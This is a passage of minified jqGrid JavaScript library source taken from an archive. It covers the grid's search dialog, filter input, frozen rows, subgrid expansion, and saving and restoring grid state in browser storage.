value='"+e+"'>"+t+"</option>"}),j+="</select></td></tr>"),void 0!==a.p.customFilterDef)for(var I in a.p.customFilterDef)a.p.customFilterDef.hasOwnProperty(I)&&!C.operands.hasOwnProperty(I)&&(C.odata.push({oper:I,text:a.p.customFilterDef[I].text}),C.operands[I]=a.p.customFilterDef[I].operand,!0===a.p.customFilterDef[I].unary)&&e.push(I);d="<table class='EditTable' style='border:0px none;margin-top:5px' id='"+s+"_2'><tbody><tr><td colspan='2'><hr class='"+p.content+"' style='margin:1px'/></td></tr>"+j+"<tr><td class='EditButton' style='text-align:"+h+"'>"+y+"</td><td class='EditButton' "+g+">"+m+"</td></tr></tbody></table>",s=T.jgrid.jqID(s),T("#"+s).jqFilter({columns:f,sortStrategy:C.sortStrategy,filter:C.loadDefaults?t:null,showQuery:C.showQuery,errorcheck:C.errorcheck,sopt:C.sopt,groupButton:C.multipleGroup,ruleButtons:C.multipleSearch,uniqueSearchFields:C.uniqueSearchFields,afterRedraw:C.afterRedraw,ops:C.odata,operands:C.operands,ajaxSelectOptions:a.p.ajaxSelectOptions,groupOps:C.groupOps,addsubgrup:C.addsubgrup,addrule:C.addrule,delgroup:C.delgroup,delrule:C.delrule,autoencode:a.p.autoencode,unaryOperations:e,onChange:function(){this.p.showQuery&&T(".query",this).text(this.toUserFriendlyString()),T.jgrid.isFunction(C.afterChange)&&C.afterChange.call(a,T("#"+s),C)},direction:a.p.direction,id:a.p.id}),u.append(d),T("#"+s+"_2").find("[data-index]").each(function(){var t=parseInt(T(this).attr("data-index"),10);0<=t&&T(this).on("click",function(e){C.buttons[t].click.call(a,T("#"+s),C,e)})}),b&&C.tmplFilters&&C.tmplFilters.length&&T(".ui-template",u).on("change",function(){var e=T(this).val();return"default"===e?T("#"+s).jqFilter("addFilter",t):T("#"+s).jqFilter("addFilter",C.tmplFilters[parseInt(e,10)]),!1}),!0===C.multipleGroup&&(C.multipleSearch=!0),T(a).triggerHandler("jqGridFilterInitialize",[T("#"+s)]),T.jgrid.isFunction(C.onInitializeSearch)&&C.onInitializeSearch.call(a,T("#"+s)),C.gbox="#gbox_"+T.jgrid.jqID(a.p.id);var _=T(".ui-jqgrid").css("font-size")||"11px";C.layer?T.jgrid.createModal(l,u,C,"#gview_"+T.jgrid.jqID(a.p.id),T("#gbox_"+T.jgrid.jqID(a.p.id))[0],"string"==typeof C.layer?"#"+T.jgrid.jqID(C.layer):C.layer,"string"==typeof C.layer?{position:"relative","font-size":_}:{"font-size":_}):T.jgrid.createModal(l,u,C,"#gview_"+T.jgrid.jqID(a.p.id),T("#gbox_"+T.jgrid.jqID(a.p.id))[0],null,{"font-size":_}),(C.searchOnEnter||C.closeOnEscape)&&T("#"+T.jgrid.jqID(l.themodal)).keydown(function(e){var t=T(e.target);return!C.searchOnEnter||13!==e.which||t.hasClass("add-group")||t.hasClass("add-rule")||t.hasClass("delete-group")||t.hasClass("delete-rule")||t.hasClass("fm-button")&&t.is("[id$=_query]")?C.closeOnEscape&&27===e.which?(T("#"+T.jgrid.jqID(l.modalhead)).find(".ui-jqdialog-titlebar-close").click(),!1):void 0:(e.preventDefault(),T("#"+s+"_search").click(),!1)}),v&&T("#"+s+"_query").on("click",function(){return T(".queryresult",u).toggle(),!1}),void 0===C.stringResult&&(C.stringResult=C.multipleSearch),T("#"+s+"_search").on("click",function(){var e,t={};return(r=T("#"+s)).find(".input-elm:focus").change(),F&&C.multipleSearch?(a.p._savedFilter={},e=T.jgrid.filterRefactor({ruleGroup:T.extend(!0,{},r.jqFilter("filterData")),ssfield:O,splitSelect:C.splitSelect,groupOpSelect:C.groupOpSelect}),a.p._savedFilter=T.extend(!0,{},r.jqFilter("filterData"))):e=r.jqFilter("filterData"),C.errorcheck&&(r[0].hideError(),C.showQuery||r.jqFilter("toSQLString"),r[0].p.error)?r[0].showError():(C.stringResult?(t[C.sFilter]=JSON.stringify(e),T.each([C.sField,C.sValue,C.sOper],function(){t[this]=""})):C.multipleSearch?(t[C.sFilter]=e,T.each([C.sField,C.sValue,C.sOper],function(){t[this]=""})):(t[C.sField]=e.rules[0].field,t[C.sValue]=e.rules[0].data,t[C.sOper]=e.rules[0].op,t[C.sFilter]=""),"string"!=typeof t[C.sFilter]&&(t[C.sFilter]=JSON.stringify(t[C.sFilter])),(a.p.search=!0)===a.p.mergeSearch&&a.p.searchModules.hasOwnProperty("searchGrid")&&!1!==a.p.searchModules.searchGrid&&C.multipleSearch?(""!==t[C.sFilter]?a.p.searchModules.searchGrid=t[C.sFilter]:a.p.searchModules.searchGrid=null,T.extend(a.p.postData,{filters:T.jgrid.splitSearch(a.p.searchModules)})):T.extend(a.p.postData,t),!1!==(o=(o=void 0===(o=T(a).triggerHandler("jqGridFilterSearch"))?!0:o)&&T.jgrid.isFunction(C.onSearch)?C.onSearch.call(a,a.p.filters):o)&&T(a).trigger("reloadGrid",[{page:1}]),C.closeAfterSearch&&T.jgrid.hideModal("#"+T.jgrid.jqID(l.themodal),{gb:"#gbox_"+T.jgrid.jqID(a.p.id),jqm:C.jqModal,onClose:C.onClose})),!1}),T("#"+s+"_reset").on("click",function(){var e={},t=T("#"+s);return a.p.search=!1,!(a.p.resetsearch=!0)===C.multipleSearch?e[C.sField]=e[C.sValue]=e[C.sOper]="":e[C.sFilter]="",t[0].resetFilter(),b&&T(".ui-template",u).val("default"),!0===a.p.mergeSearch&&a.p.searchModules.hasOwnProperty("searchGrid")&&!1!==a.p.searchModules.searchGrid?(a.p.searchModules.searchGrid=null,T.extend(a.p.postData,{filters:T.jgrid.splitSearch(a.p.searchModules)}),a.p.search=!0):T.extend(a.p.postData,e),!1!==(o=(o=void 0===(o=T(a).triggerHandler("jqGridFilterReset"))?!0:o)&&T.jgrid.isFunction(C.onReset)?C.onReset.call(a):o)&&T(a).trigger("reloadGrid",[{page:1}]),C.closeAfterReset&&T.jgrid.hideModal("#"+T.jgrid.jqID(l.themodal),{gb:"#gbox_"+T.jgrid.jqID(a.p.id),jqm:C.jqModal,onClose:C.onClose}),!1}),G(T("#"+s)),T(".fm-button:not(."+p.disabled+")",u).hover(function(){T(this).addClass(p.hover)},function(){T(this).removeClass(p.hover)})}}function G(e){(i=(i=void 0===(i=T(a).triggerHandler("jqGridFilterBeforeShow",[e]))?!0:i)&&T.jgrid.isFunction(C.beforeShowSearch)?C.beforeShowSearch.call(a,e):i)&&(T.jgrid.viewModal("#"+T.jgrid.jqID(l.themodal),{gbox:"#gbox_"+T.jgrid.jqID(a.p.id),jqm:C.jqModal,modal:C.modal,overlay:C.overlay,toTop:C.toTop}),T(a).triggerHandler("jqGridFilterAfterShow",[e]),T.jgrid.isFunction(C.afterShowSearch))&&C.afterShowSearch.call(a,e)}})},filterInput:function(o,l){return l=T.extend(!0,{defaultSearch:"cn",groupOp:"OR",searchAll:!1,beforeSearch:null,afterSearch:null,selectFirstFound:!1,firstFoundTimeout:30},l||{}),this.each(function(){var e,t,r,s,a,i=this;i.grid&&(t='{"groupOp":"'+l.groupOp+'","rules":[',r=0,o+="",T.each(i.p.colModel,function(){e=this.index||this.name,s=this.searchoptions||{},s=l.defaultSearch||(s.sopt?s.sopt[0]:l.defaultSearch),(void 0===this.search||this.search||l.searchAll)&&""!==o&&(0<r&&(t+=","),t=(t=t+'{"field":"'+e+'","op":"'+s+'",')+'"data":"'+o.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',r++)}),t+="]}",!0===i.p.mergeSearch&&i.p.searchModules.hasOwnProperty("filterInput")&&!1!==i.p.searchModules.filterInput?(i.p.searchModules.filterInput=0<r?t:null,T.extend(i.p.postData,{filters:T.jgrid.splitSearch(i.p.searchModules)})):T.extend(i.p.postData,{filters:t}),T.each(["searchField","searchString","searchOper"],function(e,t){i.p.postData.hasOwnProperty(t)&&delete i.p.postData[t]}),(a=!(a="stop"===T(i).triggerHandler("jqGridFilterInputBeforeSearch"))&&T.jgrid.isFunction(l.beforeSearch)?l.beforeSearch.call(i):a)||T(i).jqGrid("setGridParam",{search:!0}).trigger("reloadGrid",[{page:1}]),l.selectFirstFound&&setTimeout(function(){var e=T(i).jqGrid("getGridRowByIndex",1);T(i).jqGrid("setSelection",e.id,!1)},l.firstFoundTimeout),T(i).triggerHandler("jqGridFilterInputAfterSearch"),T.jgrid.isFunction(l.afterSearch))&&l.afterSearch.call(i)})},autoSelect:function(n){return n=T.extend(!0,{field:"",direction:"asc",src_date:"Y-m-d",allValues:"All",count_item:!0,create_value:!0},n||{}),this.each(function(){var e,t=this,r="";if(n.field&&t.p.data&&Array.isArray(t.p.data)){var s,a,i,o,l=[];try{o=(i=T.jgrid.from.call(t,t.p.data).groupBy(n.field,n.direction,"text",n.src_date)).length}catch(e){}if(i&&i.length){for(a=T("#gsh_"+t.p.id+"_"+n.field).find("td.ui-search-input > select"),o=i.length,n.allValues&&(r="<option value=''>"+n.allValues+"</option>",l.push(":"+n.allValues));o--;)e=i[o],s=n.count_item?" ("+e.items.length+")":"",r+="<option value='"+e.unique+"'>"+e.unique+s+"</option>",l.push(e.unique+":"+e.unique+s);a.append(r),a.on("change",function(){t.triggerToolbar()}),n.create_value&&(a=T.jgrid.getElemByAttrVal(t.p.colModel,"name",n.field,!1),T.isEmptyObject(a)||(a.searchoptions?T.extend(a.searchoptions,{value:l.join(";")}):(a.searchoptions={},a.searchoptions.value=l.join(";"))))}}})}})});minified/grid.frozenrows.js000064400000007330151677266200012047 0ustar00!function(r){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],r):r(jQuery)}(function(z){"use strict";z.jgrid.extend({setupFrozenRows:function(r){var g=z.extend({first:0,last:0,rowids:[],saveFirstLastId:!1,classes:""},r||{});return this.each(function(){if(!(!0===this.p.subGrid||!0===this.p.treeGrid||!0===this.p.cellEdit||this.p.scroll||!0===this.p.frozenColumns||!0===this.p.frozenRows||!0===this.p.grouping||g.first<=0&&g.last<=0&&0===g.rowids.length)){var r,s,i,e=this,o="border-box"===z("#"+z.jgrid.jqID(e.p.id)).css("box-sizing")?1:0,t="#"+z.jgrid.jqID(e.p.id),n="#gview_"+z.jgrid.jqID(e.p.id),d=document.getElementById("gbox_"+e.p.id).getBoundingClientRect().top,f=document.getElementById(e.p.id).getBoundingClientRect().top,h=z(n).width(),l=[],f=z('<div style="position:absolute;left:0px;top:'+(f-d-o)+'px;height:0px;overflow-x:hidden;" class="frozen-rdiv ui-jqgrid-rdiv"></div>');if(z(n).append(f),z(".frozen-rdiv",n).css("width",h-(z.jgrid.scrollbarWidth()+2)),l.push(z(".jqgfirstrow",t).clone(!0)),g.rowids&&0<g.rowids.length){for(r=0;r<g.rowids.length;r++)for(s=e.rows.length;s--;)if(e.rows[s].id===g.rowids[r]){l.push(z(e.rows[s]).clone(!0)),z(e.rows[s]).insertBefore(e.rows[r+1]);break}}else if(0<g.first)for(r=0;r<g.first;r++)l.push(z(e.rows[r+1]).clone(!0)),g.saveFirstLastId&&(g.rowids||(g.rowids=[]),g.rowids.push(e.rows[r+1].id));else{if(!(0<g.last))return;for(s=e.rows.length,r=0;r<g.last;r++)l.splice(1,0,z(e.rows[s-1]).clone(!0)),g.saveFirstLastId&&(g.rowids||(g.rowids=[]),g.rowids.unshift(e.rows[s-1].id)),z(e.rows[s-1]).insertBefore(e.rows[1])}f.css("height","auto");var w=z(t).clone(!0);for(w.children("tbody").empty(),s=0,i=l.length;s<i;s++)l[s].addClass(g.classes).appendTo(w);w.appendTo(f);var c=e.p.id+"_fr",d=(z(t,f).attr("id",c),c="#"+z.jgrid.jqID(c),z.jgrid.getMethod("getStyleUI")),o=e.p.styleUI+".common",p=d(o,"highlight",!0),a=d(o,"hover",!0);if(z(".frozen-rdiv",n).on("click","tr",function(){e.p.selrow&&z(e).jqGrid("resetSelection",e.p.selrow);var r=z(this).index();z(this).addClass(p).siblings().removeClass(p),e.p.selrow=this.id,z(".frozen-rdiv tr").eq(r).addClass(p).siblings().removeClass(p)}),z(c).on("click",function(){z(".frozen-rdiv tbody").children("tr").each(function(){z(this).removeClass(p)})}),z(n+" .ui-jqgrid-bdiv").first().on("scroll",function(){var r=this.scrollLeft;z(".frozen-rdiv").scrollLeft(r)}),z(".frozen-rdiv tr").hover(function(){var r=z(this).index();z(".frozen-rdiv tr").eq(r).addClass(a)},function(){var r=z(this).index();z(".frozen-rdiv tr").eq(r).removeClass(a)}),e.p.rownumbers){var u=!1;try{if(z(e.rows[0].cells).each(function(r){if(z(this).hasClass("jqgrid-rownumber"))return u=r,!1}),!1!==u){for(s=e.rows.length,r=1;r<s;)z(e.rows[r].cells[u]).html(r),r++;for(s=z(c)[0].rows.length,r=1;r<s;)z(c)[0].rows[r].cells[u].innerHTML=r,r++}}catch(r){}}e.grid.frbDiv=f,e.p.frozenRows=!0,e.p.frozenRowsPrm=g}})},destroyFrozenRows:function(r){return this.each(function(){this.grid.frbDiv.remove(),this.p.frozenRows=!1,r&&(this.p.frozenRowsPrm=null)})},setFrozenRows:function(r){return this.each(function(){0<this.p.records&&z(this).jqGrid("setupFrozenRows",r),z(this).on("jqGridAfterGridComplete.setFrozenRows",function(){this.p.frozenRowsPrm&&!z.isEmptyObject(this.p.frozenRowsPrm)?(z(this).jqGrid("destroyFrozenRows"),z(this).jqGrid("setupFrozenRows",this.p.frozenRowsPrm)):z(this).jqGrid("setupFrozenRows",r)}),z(this).on("jqGridResizeStop.setFrozenRows",function(){if(this.p.frozenRowsPrm)try{z(this).jqGrid("destroyFrozenRows");var r=0<this.p.frozenRowsPrm.last&&!this.p.frozenRowsPrm.saveFirstLastId&&0===this.p.frozenRowsPrm.first;r&&(this.p.frozenRowsPrm.first=this.p.frozenRowsPrm.last),z(this).jqGrid("setupFrozenRows",this.p.frozenRowsPrm),r&&(this.p.frozenRowsPrm.first=0)}catch(r){}})})}})});minified/grid.subgrid.js000064400000017374151677266200011301 0ustar00!function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],i):i(jQuery)}(function(x){"use strict";x.jgrid.extend({setSubGrid:function(){return this.each(function(){var i,e,s=this,d=x.jgrid.styleUI[s.p.styleUI||"jQueryUI"].subgrid,d={plusicon:d.icon_plus,minusicon:d.icon_minus,openicon:d.icon_open,expandOnLoad:!1,selectOnExpand:!1,selectOnCollapse:!1,reloadOnExpand:!0,onErrorLoadData:null};if(s.p.subGridOptions=x.extend(d,s.p.subGridOptions||{}),s.p.colNames.unshift(""),s.p.colModel.unshift({name:"subgrid",width:x.jgrid.cell_width?s.p.subGridWidth+s.p.cellLayout:s.p.subGridWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,fixed:!0}),(i=s.p.subGridModel)[0])for(i[0].align=x.extend([],i[0].align||[]),e=0;e<i[0].name.length;e++)i[0].align[e]=i[0].align[e]||"left"})},addSubGridCell:function(i,e){var s,d,r,t="";return this.each(function(){t=this.formatCol(i,e),d=this.p.id,s=this.p.subGridOptions.plusicon,r=x.jgrid.styleUI[this.p.styleUI||"jQueryUI"].common}),'<td role="gridcell" aria-describedby="'+d+'_subgrid" class="ui-sgcollapsed sgcollapsed" '+t+"><a style='cursor:pointer;' class='ui-sghref'><span class='"+r.icon_base+" "+s+"'></span></a></td>"},addSubGrid:function(j,t){return this.each(function(){var u=this;if(u.grid){var n,a,l,o,p,i,s,c=x.jgrid.styleUI[u.p.styleUI||"jQueryUI"].base,g=x.jgrid.styleUI[u.p.styleUI||"jQueryUI"].common,b=x.jgrid.getRegional(this,"errors"),h=function(i,e,s){s=x("<td align='"+u.p.subGridModel[0].align[s]+"'></td>").html(e);x(i).append(s)},f=function(i,e){for(var s,d,r=x("<table class='"+c.rowTable+" ui-common-table'><tbody></tbody></table>"),t=x("<tr></tr>"),n=0;n<u.p.subGridModel[0].name.length;n++)s=x("<th class='"+c.headerBox+" ui-th-subgrid ui-th-column ui-th-"+u.p.direction+"'></th>"),x(s).html(u.p.subGridModel[0].name[n]),x(s).width(u.p.subGridModel[0].width[n]),x(t).append(s);x(r).append(t),i&&(d=u.p.xmlReader.subgrid,x(d.root+" "+d.row,i).each(function(){if(t=x("<tr class='"+g.content+" ui-subtblcell'></tr>"),!0===d.repeatitems)x(d.cell,this).each(function(i){h(t,x(this).text()||" ",i)});else{var i=u.p.subGridModel[0].mapping||u.p.subGridModel[0].name;if(i)for(n=0;n<i.length;n++)h(t,x.jgrid.getXmlData(this,i[n])||" ",n)}x(r).append(t)}));i=x(u.grid.bDiv).find("table").first().attr("id")+"_";return x("#"+x.jgrid.jqID(i+e)).append(r),u.grid.hDiv.loading=!1,x("#load_"+x.jgrid.jqID(u.p.id)).hide(),!1},G=function(i,e){for(var s,d,r,t,n,a=x("<table class='"+c.rowTable+" ui-common-table'><tbody></tbody></table>"),l=x("<tr></tr>"),o=0;o<u.p.subGridModel[0].name.length;o++)s=x("<th class='"+c.headerBox+" ui-th-subgrid ui-th-column ui-th-"+u.p.direction+"'></th>"),x(s).html(u.p.subGridModel[0].name[o]),x(s).width(u.p.subGridModel[0].width[o]),x(l).append(s);if(x(a).append(l),i&&(t=u.p.jsonReader.subgrid,void 0!==(d=x.jgrid.getAccessor(i,t.root))))for(o=0;o<d.length;o++){if(r=d[o],l=x("<tr class='"+g.content+" ui-subtblcell'></tr>"),!0===t.repeatitems)for(t.cell&&(r=r[t.cell]),n=0;n<r.length;n++)h(l,r[n]||" ",n);else{var p=u.p.subGridModel[0].mapping||u.p.subGridModel[0].name;if(p.length)for(n=0;n<p.length;n++)h(l,x.jgrid.getAccessor(r,p[n])||" ",n)}x(a).append(l)}i=x(u.grid.bDiv).find("table").first().attr("id")+"_";return x("#"+x.jgrid.jqID(i+e)).append(a),u.grid.hDiv.loading=!1,x("#load_"+x.jgrid.jqID(u.p.id)).hide(),!1},m=0,e=(x.each(u.p.colModel,function(){!0!==this.hidden&&"rn"!==this.name&&"cb"!==this.name&&"sc"!==this.name||m++}),u.rows.length),d=1,r=x.jgrid.isFunction(u.p.isHasSubGrid);for(void 0!==t&&0<t&&(e=(d=t)+1);d<e;)x(u.rows[d]).hasClass("jqgrow")&&(u.p.scroll&&x(u.rows[d].cells[j]).off("click"),i=null,!1===(i=r?u.p.isHasSubGrid.call(u,u.rows[d].id):i)?u.rows[d].cells[j].innerHTML="":x(u.rows[d].cells[j]).on("click",function(){var i=x(this).parent("tr")[0];if(a=u.p.id,n=i.id,p=x("#"+a+"_"+n+"_expandedContent"),x(this).hasClass("sgcollapsed")){if(!1===(o=(o=!1!==(o=x(u).triggerHandler("jqGridSubGridBeforeExpand",[a+"_"+n,n]))&&"stop"!==o)&&x.jgrid.isFunction(u.p.subGridBeforeExpand)?u.p.subGridBeforeExpand.call(u,a+"_"+n,n):o))return!1;if(!0===u.p.subGridOptions.reloadOnExpand||!1===u.p.subGridOptions.reloadOnExpand&&!p.hasClass("ui-subgrid"))if(l=1<=j?"<td colspan='"+j+"'> </td>":"",x(i).after("<tr role='row' id='"+a+"_"+n+"_expandedContent' class='ui-subgrid ui-sg-expanded'>"+l+"<td class='"+g.content+" subgrid-cell'><span class='"+g.icon_base+" "+u.p.subGridOptions.openicon+"'></span></td><td colspan='"+parseInt(u.p.colNames.length-1-m,10)+"' class='"+g.content+" subgrid-data'><div id="+a+"_"+n+" class='tablediv'></div></td></tr>"),x(u).triggerHandler("jqGridSubGridRowExpanded",[a+"_"+n,n]),x.jgrid.isFunction(u.p.subGridRowExpanded))u.p.subGridRowExpanded.call(u,a+"_"+n,n);else{var e,s,d=i,r=x(d).attr("id"),t={nd_:(new Date).getTime()};if(t[u.p.prmNames.subgridid]=r,u.p.subGridModel[0]){if(u.p.subGridModel[0].params)for(s=0;s<u.p.subGridModel[0].params.length;s++)for(e=0;e<u.p.colModel.length;e++)u.p.colModel[e].name===u.p.subGridModel[0].params[s]&&(t[u.p.colModel[e].name]=x("td",d).eq(e).text().replace(/\ \;/gi,""));if(!u.grid.hDiv.loading)switch(u.grid.hDiv.loading=!0,x("#load_"+x.jgrid.jqID(u.p.id)).show(),u.p.subgridtype||(u.p.subgridtype=u.p.datatype),x.jgrid.isFunction(u.p.subgridtype)?u.p.subgridtype.call(u,t):u.p.subgridtype=u.p.subgridtype.toLowerCase(),u.p.subgridtype){case"xml":case"json":x.ajax(x.extend({type:u.p.mtype,url:x.jgrid.isFunction(u.p.subGridUrl)?u.p.subGridUrl.call(u,t):u.p.subGridUrl,dataType:u.p.subgridtype,data:x.jgrid.isFunction(u.p.serializeSubGridData)?u.p.serializeSubGridData.call(u,t):t,success:function(i,e,s){"xml"===u.p.subgridtype?f(s.responseXML,r):G(x.jgrid.parse(s.responseText),r)},error:function(i,e,s){if(x.jgrid.isFunction(u.p.subGridOptions.onErrorLoadData))u.p.subGridOptions.onErrorLoadData.call(u,rowid,i,e,s);else{e=i.responseText+" <br/>"+i.statusText;try{x.jgrid.info_dialog(b.errcap,'<div class="'+g.error+'">'+e+"</div>",edit.bClose,{buttonalign:"right",styleUI:u.p.styleUI})}catch(i){alert(e)}}}},x.jgrid.ajaxOptions,u.p.ajaxSubgridOptions||{}))}}}else p.show().removeClass("ui-sg-collapsed").addClass("ui-sg-expanded");x(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+g.icon_base+" "+u.p.subGridOptions.minusicon+"'></span></a>").removeClass("sgcollapsed").addClass("sgexpanded"),u.p.subGridOptions.selectOnExpand&&x(u).jqGrid("setSelection",n)}else if(x(this).hasClass("sgexpanded")){if(!1===(o=(o=!1!==(o=x(u).triggerHandler("jqGridSubGridRowColapsed",[a+"_"+n,n]))&&"stop"!==o)&&x.jgrid.isFunction(u.p.subGridRowColapsed)?u.p.subGridRowColapsed.call(u,a+"_"+n,n):o))return!1;!0===u.p.subGridOptions.reloadOnExpand?p.remove(".ui-subgrid"):p.hasClass("ui-subgrid")&&p.hide().addClass("ui-sg-collapsed").removeClass("ui-sg-expanded"),x(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+g.icon_base+" "+u.p.subGridOptions.plusicon+"'></span></a>").removeClass("sgexpanded").addClass("sgcollapsed"),u.p.subGridOptions.selectOnCollapse&&x(u).jqGrid("setSelection",n)}return!1})),d++;!0===u.p.subGridOptions.expandOnLoad&&(s=0,u.p.multiselect&&s++,u.p.rownumbers&&s++,x(u.rows).filter(".jqgrow").each(function(i,e){x(e.cells[s]).click()})),u.subGridXml=function(i,e){f(i,e)},u.subGridJson=function(i,e){G(i,e)}}})},expandSubGridRow:function(e){return this.each(function(){var i;(this.grid||e)&&!0===this.p.subGrid&&(i=x(this).jqGrid("getInd",e,!0))&&(i=x("td.sgcollapsed",i)[0])&&x(i).trigger("click")})},collapseSubGridRow:function(e){return this.each(function(){var i;(this.grid||e)&&!0===this.p.subGrid&&(i=x(this).jqGrid("getInd",e,!0))&&(i=x("td.sgexpanded",i)[0])&&x(i).trigger("click")})},toggleSubGridRow:function(s){return this.each(function(){var i,e;(this.grid||s)&&!0===this.p.subGrid&&(i=x(this).jqGrid("getInd",s,!0))&&(e=(e=x("td.sgcollapsed",i)[0])||x("td.sgexpanded",i)[0])&&x(e).trigger("click")})}})});minified/grid.import.js000064400000023220151677266200011137 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.utils","./grid.base"],e):e(jQuery)}(function(G){"use strict";G.jgrid=G.jgrid||{},G.extend(G.jgrid,{saveState:function(e,t){if(t=G.extend({useStorage:!0,storageType:"localStorage",beforeSetItem:null,compression:!1,compressionModule:"LZString",compressionMethod:"compressToUTF16",debug:!1,saveData:!0},t||{}),e){var r,i="",o="",e=G("#"+e)[0];if(e.grid){if((d=G(e).data("inlineNav"))&&e.p.inlineNav&&G(e).jqGrid("setGridParam",{_iN:d}),(d=G(e).data("filterToolbar"))&&e.p.filterToolbar&&G(e).jqGrid("setGridParam",{_fT:d}),i=G(e).jqGrid("jqGridExport",{exptype:"jsonstring",ident:"",root:"",data:t.saveData}),o="",t.saveData&&(d=(o=G(e.grid.bDiv).find(".ui-jqgrid-btable tbody").first().html()).indexOf("</tr>"),o=o.slice(d+5)),G.jgrid.isFunction(t.beforeSetItem)&&null!=(r=t.beforeSetItem.call(e,i))&&(i=r),t.debug){G("#gbox_tree").prepend('<a id="link_save" target="_blank" download="jqGrid_dump.txt">Click to save Dump Data</a>');var a,d=[],n={};d.push("Grid Options\n"),d.push(i),d.push("\n"),d.push("GridData\n"),d.push(o),n.type="plain/text;charset=utf-8";try{a=new File(d,"jqGrid_dump.txt",n)}catch(e){a=new Blob(d,n)}d=URL.createObjectURL(a),G("#link_save").attr("href",d).on("click",function(){G(this).remove()})}if(t.compression&&t.compressionModule)try{null!=(r=window[t.compressionModule][t.compressionMethod](i))&&(i=r,o=window[t.compressionModule][t.compressionMethod](o))}catch(e){}if(t.useStorage&&G.jgrid.isLocalStorage())try{window[t.storageType].setItem("jqGrid"+e.p.id,i),window[t.storageType].setItem("jqGrid"+e.p.id+"_data",o)}catch(e){22===e.code&&alert("Local storage limit is over!")}return i}}},loadState:function(e,t,r){if(r=G.extend({useStorage:!0,storageType:"localStorage",clearAfterLoad:!1,beforeSetGrid:null,afterSetGrid:null,decompression:!1,decompressionModule:"LZString",decompressionMethod:"decompressFromUTF16",restoreData:!0},r||{}),e){var i,o,a,d=G("#"+e)[0];if(r.useStorage)try{t=window[r.storageType].getItem("jqGrid"+d.id),n=window[r.storageType].getItem("jqGrid"+d.id+"_data")}catch(e){}if(t){if(r.decompression&&r.decompressionModule)try{null!=(i=window[r.decompressionModule][r.decompressionMethod](t))&&(t=i,n=window[r.decompressionModule][r.decompressionMethod](n))}catch(e){}if((i=G.jgrid.parseFunc(t))&&"object"===G.jgrid.type(i)){d.grid&&G.jgrid.gridUnload(e);var n,t=function(e){return e},s={reccount:(i=G.jgrid.isFunction(r.beforeSetGrid)&&(s=r.beforeSetGrid(i))&&"object"===G.jgrid.type(s)?s:i).reccount,records:i.records,lastpage:i.lastpage,shrinkToFit:t(i.shrinkToFit),data:t(i.data),datatype:t(i.datatype),grouping:t(i.grouping)},l=(i.shrinkToFit=!1,i.data=[],i.datatype="local",i.grouping=!1,i.inlineNav&&(o=t(i._iN),i._iN=null,delete i._iN),i.filterToolbar&&(a=t(i._fT),i._fT=null,delete i._fT),G("#"+e).jqGrid(i));if(l.jqGrid("delRowData","norecs"),r.restoreData&&""!==G.jgrid.trim(n)&&l.append(n),l.jqGrid("setGridParam",s),i.storeNavOptions&&i.navGrid&&(l[0].p.navGrid=!1,l.jqGrid("navGrid",i.pager,i.navOptions,i.editOptions,i.addOptions,i.delOptions,i.searchOptions,i.viewOptions),i.navButtons)&&i.navButtons.length)for(var p=0;p<i.navButtons.length;p++)"sepclass"in i.navButtons[p][1]?l.jqGrid("navSeparatorAdd",i.navButtons[p][0],i.navButtons[p][1]):l.jqGrid("navButtonAdd",i.navButtons[p][0],i.navButtons[p][1]);if(l[0].refreshIndex(),i.subGrid&&(t=1===i.multiselect?1:0,n=!0===i.rownumbers?1:0,l.jqGrid("addSubGrid",t+n),G.each(l[0].rows,function(e,t){G(t).hasClass("ui-sg-expanded")&&G(l[0].rows[e-1]).find("td.sgexpanded").click().click()})),i.treeGrid)for(var c=1,g=l[0].rows.length,u=i.expColInd,m=i.treeReader.leaf_field,f=i.treeReader.expanded_field;c<g;)G(l[0].rows[c].cells[u]).find("div.treeclick").on("click",function(e){e=e.target||e.srcElement,e=G.jgrid.stripPref(i.idPrefix,G(e,l[0].rows).closest("tr.jqgrow")[0].id),e=l[0].p._index[e];return l[0].p.data[e][m]||(l[0].p.data[e][f]?(l.jqGrid("collapseRow",l[0].p.data[e]),l.jqGrid("collapseNode",l[0].p.data[e])):(l.jqGrid("expandRow",l[0].p.data[e]),l.jqGrid("expandNode",l[0].p.data[e]))),!1}),!0===i.ExpandColClick&&G(l[0].rows[c].cells[u]).find("span.cell-wrapper").css("cursor","pointer").on("click",function(e){var e=e.target||e.srcElement,e=G.jgrid.stripPref(i.idPrefix,G(e,l[0].rows).closest("tr.jqgrow")[0].id),t=l[0].p._index[e];return l[0].p.data[t][m]||(l[0].p.data[t][f]?(l.jqGrid("collapseRow",l[0].p.data[t]),l.jqGrid("collapseNode",l[0].p.data[t])):(l.jqGrid("expandRow",l[0].p.data[t]),l.jqGrid("expandNode",l[0].p.data[t]))),l.jqGrid("setSelection",e),!1}),c++;if(i.multiselect&&G.each(i.selarrrow,function(){G("#jqg_"+e+"_"+this)[i.useProp?"prop":"attr"]("checked","checked")}),l.jqGrid("isGroupHeaderOn")&&l.jqGrid("refreshGroupHeaders"),i.searchCols)for(var j in i._results)i._results.hasOwnProperty(j)&&G("#jqs_"+e+"_"+j).val(i._results[j].v);i.inlineNav&&o&&(l.jqGrid("setGridParam",{inlineNav:!1}),l.jqGrid("inlineNav",i.pager,o)),i.filterToolbar&&a&&(l.jqGrid("setGridParam",{filterToolbar:!1}),a.restoreFromFilters=!0,l.jqGrid("filterToolbar",a)),i.frozenColumns&&l.jqGrid("setFrozenColumns"),l[0].updatepager(!0,!0),G.jgrid.isFunction(r.afterSetGrid)&&r.afterSetGrid(l),r.clearAfterLoad&&(window[r.storageType].removeItem("jqGrid"+d.id),window[r.storageType].removeItem("jqGrid"+d.id+"_data"))}else alert("can not convert to object")}}},isGridInStorage:function(e,t){var r,i,o,t=G.extend({storageType:"localStorage"},t||{});try{i=window[t.storageType].getItem("jqGrid"+e),o=window[t.storageType].getItem("jqGrid"+e+"_data"),r=null!=i&&null!=o&&"string"==typeof i&&"string"==typeof o}catch(e){r=!1}return r},setRegional:function(e,t){var r={storageType:"sessionStorage"};if((r=G.extend(r,t||{})).regional){G.jgrid.saveState(e,r),r.beforeSetGrid=function(e){return 